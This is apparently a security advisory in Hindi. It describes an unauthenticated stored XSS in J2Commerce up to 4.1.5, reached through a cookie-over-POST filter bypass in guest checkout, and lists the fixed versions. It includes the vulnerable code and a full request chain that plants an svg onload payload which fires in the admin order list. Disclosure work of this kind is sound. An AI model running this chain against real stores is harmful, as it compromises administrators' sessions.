
J2Commerce गेस्ट चेकआउट में कुकी फ़िल्टर बाईपास के माध्यम से Stored XSS
J2Commerce (com_j2store) ≤ 4.1.5 — अनधिकृत हमलावर XSS पेलोड संग्रहीत करता है जो पृष्ठ लोड पर व्यवस्थापक ब्राउज़र में स्वचालित रूप से निष्पादित होता है
J2Commerce 4.1.5 अतिथि चेकआउट बिलिंग पता फ़ील्ड के माध्यम से संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) की चपेट में है। एक अनधिकृत हमलावर Joomla के Input::getArray() में फ़िल्टर बायपास का फायदा उठाता है, जो PHP के variables_order=EGPCS ($_REQUEST में कुकी POST को ओवरराइड करती है) के साथ मिलकर billing_first_name जैसी फ़ील्ड में अस्वच्छ (unsanitized) HTML संग्रहीत कर देता है। ये फ़ील्ड व्यवस्थापक ऑर्डर प्रबंधन पैनल में के बिना सीधे प्रतिध्वनित (echo) होती हैं, जिससे पेलोड व्यवस्थापक के ब्राउज़र में निष्पादित हो जाता है।
htmlspecialchars()XSS पेलोड पृष्ठ लोड होने पर स्वचालित रूप से फायर होता है जब व्यवस्थापक ऑर्डर सूची पर जाता है — किसी व्यक्तिगत ऑर्डर पर क्लिक करने की आवश्यकता नहीं होती। एक एकल HTTP अनुरोध श्रृंखला (कार्ट में जोड़ें → कुकी बायपास के साथ चेकआउट सबमिट करें → ऑर्डर दें) पेलोड को स्थायी रूप से संग्रहीत कर देती है, जो हर व्यवस्थापक के ब्राउज़र में तब तक निष्पादित होता रहेगा जब तक ऑर्डर हटाया न जाए या भेद्यता को पैच न किया जाए।
इस हमले के लिए हमलावर से किसी प्रमाणीकरण की आवश्यकता नहीं होती। अतिथि चेकआउट ई-कॉमर्स साइटों की एक मानक, सामान्यतः सक्षम सुविधा है, जो व्यवस्थापकों को नए ऑर्डर देखने के लिए आर्थिक प्रोत्साहन प्रदान करती है — जिससे शोषण को हथियार बनाना तुच्छ हो जाता है।
| घटक | असुरक्षित संस्करण | परीक्षण किया गया | फिक्स संस्करण |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 (Joomla 5.4.7 + MySQL 8.0 पर) | 3.3.21 / 4.0.21 / 4.1.6 |
प्रकार: क्रॉस-साइट स्क्रिप्टिंग — संग्रहीत (CWE-79)
आवश्यक प्रमाणीकरण: कोई नहीं — अनधिकृत (अतिथि चेकआउट)
प्राथमिक सिंक: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
लेखन पथ: components/com_j2store/controllers/checkouts.php:535
इस भेद्यता में दो संयुक्त कमज़ोरियाँ शामिल हैं: लेखन पथ पर इनपुट फ़िल्टर बायपास और पठन पथ पर आउटपुट एन्कोडिंग की कमी।
1. इनपुट फ़िल्टर बायपास — Joomla Input::getArray() का दुरुपयोग
J2Commerce का अतिथि चेकआउट कंट्रोलर $app->input->getArray($_POST) का उपयोग करके पता फ़ील्ड पढ़ता है। Joomla का कार्यान्वयन $_POST सरणी को पुनरावृत्त (iterate) करता है और प्रत्येक मान को फ़िल्टर प्रकार के रूप में उपयोग करता है (डेटा के रूप में नहीं), जबकि वास्तविक मान $_REQUEST से पढ़ता है:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — लेखन पथ
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — GETARRAY() विधि (पंक्ति 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — डेटा स्रोत (पंक्ति 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. PHP variables_order — कुकी $_REQUEST में POST को ओवरराइड करती है
PHP का $_REQUEST एक मर्ज किया गया सुपरग्लोबल है जो $_GET, $_POST, और $_COOKIE से निर्मित होता है। जब variables_order=EGPCS होता है (अधिकांश PHP वातावरणों के लिए संकलित-इन डिफ़ॉल्ट), कुकी (C) POST (P) के बाद सूचीबद्ध होती है, इसलिए विरोधाभासी कुंजियों के लिए कुकी जीत जाती है।
POST बॉडी में first_name=RAW सबमिट करने से Joomla का InputFilter::clean() कुकी मान first_name=<svg...> पर फ़िल्टर प्रकार 'Raw' (नो-ऑप) लागू करता है, जो $_REQUEST में जीत जाता है।
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — CLEAN() विधि (पंक्ति 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
अंतिम परिणाम: POST बॉडी first_name=RAW फ़िल्टर को नो-ऑप पर सेट कर देती है। कुकी first_name=<svg onload="alert(document.domain)"> $_REQUEST में जीत जाती है। Joomla कुकी मान को बिना फ़िल्टर किए लौटा देता है। J2Commerce इसे j2store_orderinfos.billing_first_name में कच्चा संग्रहीत करता है।
3. आउटपुट एन्कोडिंग की कमी — व्यवस्थापक टेम्पलेट सिंक
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — प्राथमिक सिंक (सूची पृष्ठ लोड होने पर फायर होता है)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — द्वितीयक सिंक
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
यह बायपास Debian/Ubuntu को छोड़कर सभी PHP वातावरणों पर काम करता है (जो स्पष्ट रूप से request_order = "GP" सेट करता है, कुकीज़ को $_REQUEST से बाहर रखता है)। अन्य सभी प्रमुख होस्टिंग वातावरण — cPanel/Plesk साझा होस्टिंग, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — EGPCS पर फॉलबैक करते हैं, जिससे कुकी ओवरराइड बिना किसी कॉन्फ़िगरेशन परिवर्तन के तुरंत सक्रिय हो जाती है।
पीड़ित व्यवस्थापक के रूप में J2Commerce व्यवस्थापक ऑर्डर सूची खोलें। यह पुष्टि करता है कि व्यवस्थापक पैनल का सक्रिय रूप से उपयोग कर रहा है और अगली यात्रा पर पेलोड का सामना करेगा।

अनधिकृत हमलावर के रूप में, सत्र स्थापित करने और पृष्ठ के JSON विकल्पों में एम्बेडेड CSRF टोकन निकालने के लिए J2Commerce फ्रंटएंड होमपेज पर GET अनुरोध भेजें। यह टोकन आगामी POST अनुरोधों के लिए आवश्यक है।

हमलावर के कार्ट में एक उत्पाद जोड़ें। अतिथि चेकआउट एंडपॉइंट के लिए पता सबमिशन स्वीकार करने हेतु कार्ट खाली नहीं होना चाहिए।
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

first_name के लिए दो विरोधाभासी मानों के साथ अतिथि चेकआउट पता फ़ॉर्म सबमिट करें:
first_name=RAW — Joomla इसे फ़िल्टर प्रकार (नो-ऑप) के रूप में व्याख्या करता हैfirst_name=<svg...> — यह $_REQUEST में जीतती है (PHP EGPCS: कुकी > POST) और बिना फ़िल्टर किए लौटाई जाती हैPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

उसी कुकी बायपास का उपयोग करके शिपिंग पता चरण सबमिट करें। यह चरण सत्र में शिपिंग देश सेट करता है — इसे छोड़ने पर अगले चरणों में "SHIPPING_ADDRESS_NOT_FOUND" त्रुटि उत्पन्न होती है।

भुगतान विधि चुनें (कैश ऑन डिलीवरी)। payment_plugin फ़ील्ड एक टेक्स्ट इनपुट नहीं है जो XSS के प्रति संवेदनशील हो।
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

ऑर्डर सारांश पृष्ठ प्राप्त करने के लिए confirm चरण सबमिट करें, जिसमें एक छिपा हुआ hash फ़ील्ड होता है। ऑर्डर अंतिम रूप देने के लिए यह हैश आवश्यक है।
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

पिछले चरण के हैश का उपयोग करके ऑर्डर अंतिम रूप दें। सर्वर joom_j2store_orderinfos में ऑर्डर रिकॉर्ड बनाता है, जिसमें billing_first_name कच्चे XSS पेलोड पर सेट होता है।
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

पीड़ित व्यवस्थापक के रूप में, J2Commerce ऑर्डर सूची पर जाएँ। XSS पेलोड पृष्ठ लोड होते ही तुरंत फायर होता है — किसी क्लिक की आवश्यकता नहीं। default_items.php:73 टेम्पलेट billing_first_name को Customer कॉलम में बिना एस्केप किए रेंडर करता है।
जब व्यवस्थापक ऑर्डर देखता है, तो सर्वर प्रतिक्रिया में शामिल होता है:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
